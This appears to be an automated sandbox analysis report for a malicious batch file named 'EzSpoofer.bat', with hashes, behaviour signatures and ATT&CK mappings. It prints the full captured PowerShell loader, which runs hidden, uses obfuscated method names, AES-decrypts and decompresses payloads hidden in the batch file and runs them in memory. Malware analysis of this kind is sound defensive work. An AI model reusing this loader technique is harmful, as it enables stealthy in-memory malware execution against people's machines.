876279d2efe790bf2e60a1d6bae02b08228a485d208151a5b1278e2fd11e2369

Analysis

max time kernel
122s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23-01-2025 18:27

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General

Target

EzSpoofer.bat
Size

290KB
MD5

cac585a686a51452504600d4fcf1f7b3
SHA1

cff487749ee57d6a6228622776392fa80d85041e
SHA256

876279d2efe790bf2e60a1d6bae02b08228a485d208151a5b1278e2fd11e2369
SHA512

0364f3e26c03ad92ac447aa446304dd7da7a46916ae62e70380529177416964b543da4df08e0e46221f57196513a062cc46eb80d02f2c52ea2c0cd7989e1aea9
SSDEEP

6144:ikknMyCyb4UpNDYSBObHBnWxp/3f8ZWftYQcuKPprtHnnWd:iOib449YFFnYf9xcbrNnq

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2228	powershell.exe

Deletes itself 1 IoCs

pid	Process
2328	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2228	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2228	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 2228	2328	cmd.exe	31
PID 2328 wrote to memory of 2228	2328	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat"
1⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('LzMyn9z48x0Q4gbuWdOuMvyklX2ZjqkWkuihkCRVIvQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pe5tId8jJVo1uZ0oyFBZYg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YAedb=New-Object System.IO.MemoryStream(,$param_var); $lZKKA=New-Object System.IO.MemoryStream; $QbfIR=New-Object System.IO.Compression.GZipStream($YAedb, [IO.Compression.CompressionMode]::Decompress); $QbfIR.CopyTo($lZKKA); $QbfIR.Dispose(); $YAedb.Dispose(); $lZKKA.Dispose(); $lZKKA.ToArray();}function execute_function($param_var,$param2_var){ $YrspZ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $otogi=$YrspZ.EntryPoint; $otogi.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat';$EprqD=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\EzSpoofer.bat').Split([Environment]::NewLine);foreach ($hFcVg in $EprqD) { if ($hFcVg.StartsWith(':: ')) { $ccxXr=$hFcVg.Substring(3); break; }}$payloads_var=[string[]]$ccxXr.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2228-4-0x000007FEF64CE000-0x000007FEF64CF000-memory.dmp

Filesize
4KB

Download
memory/2228-6-0x0000000002050000-0x0000000002058000-memory.dmp

Filesize
32KB

Download
memory/2228-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2228-7-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-8-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-9-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-10-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-11-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download
memory/2228-12-0x000007FEF6210000-0x000007FEF6BAD000-memory.dmp

Filesize
9.6MB

Download